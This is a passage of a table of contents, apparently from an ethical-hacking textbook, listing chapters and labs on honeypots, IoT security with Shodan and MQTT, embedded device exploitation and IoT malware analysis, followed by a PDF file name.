Honeypots as a Form of Deception
Deployment Considerations
Setting Up a Virtual Machine
Open Source Honeypots
Lab 21-1: Dionaea
Lab 21-2: ConPot
Lab 21-3: Cowrie
Lab 21-4: T-Pot
Commercial Alternative: TrapX
Summary
For Further Reading
References
Part V Internet of Things
Chapter 22 Internet of Things to Be Hacked
Internet of Things (IoT)
Types of Connected Things
Wireless Protocols
Communication Protocols
Security Concerns
Shodan IoT Search Engine
Web Interface
Shodan Command-Line Interface
Lab 22-1: Using the Shodan Command Line
Shodan API
Lab 22-2: Testing the Shodan API
Lab 22-3: Playing with MQTT
Implications of This Unauthenticated Access to MQTT
IoT Worms: It Was a Matter of Time
Lab 22-4: Mirai Lives
Prevention
Summary
For Further Reading
References
Chapter 23 Dissecting Embedded Devices
CPU
Microprocessor
Microcontrollers
System on Chip (SoC)
Common Processor Architectures
Serial Interfaces
UART
SPI
I2C
Debug Interfaces
JTAG
SWD (Serial Wire Debug)
Software
Bootloader
No Operating System
Real-Time Operating System
General Operating System
Summary
For Further Reading
References
Chapter 24 Exploiting Embedded Devices
Static Analysis of Vulnerabilities in Embedded Devices
Lab 24-1: Analyzing the Update Package
Lab 24-2: Performing Vulnerability Analysis
Dynamic Analysis with Hardware
The Test Environment Setup
Ettercap
Dynamic Analysis with Emulation
FIRMADYNE
Lab 24-3: Setting Up FIRMADYNE
Lab 24-4: Emulating Firmware
Lab 24-5: Exploiting Firmware
Summary
Further Reading
References
Chapter 25 Fighting IoT Malware
Physical Access to the Device
RS-232 Overview
RS-232 Pinout
Exercise 25-1: Troubleshooting a Medical Device’s RS-232 Port
Setting Up the Threat Lab
ARM and MIPS Overview
Lab 25-1: Setting Up Systems with QEMU
Dynamic Analysis of IoT Malware
Lab 25-2: IoT Malware Dynamic Analysis
Platform for Architecture-Neutral Dynamic Analysis (PANDA)
BeagleBone Black Board
Reverse Engineering IoT Malware
Crash-Course ARM/MIPS Instruction Set
Lab 25-3: IDA Pro Remote Debugging and Reversing
IoT Malware Reversing Exercise
Summary
For Further Reading
Index
Gray Hat Hacking The Ethical Hacker’s Handbook5th .pdf – 45.8 MB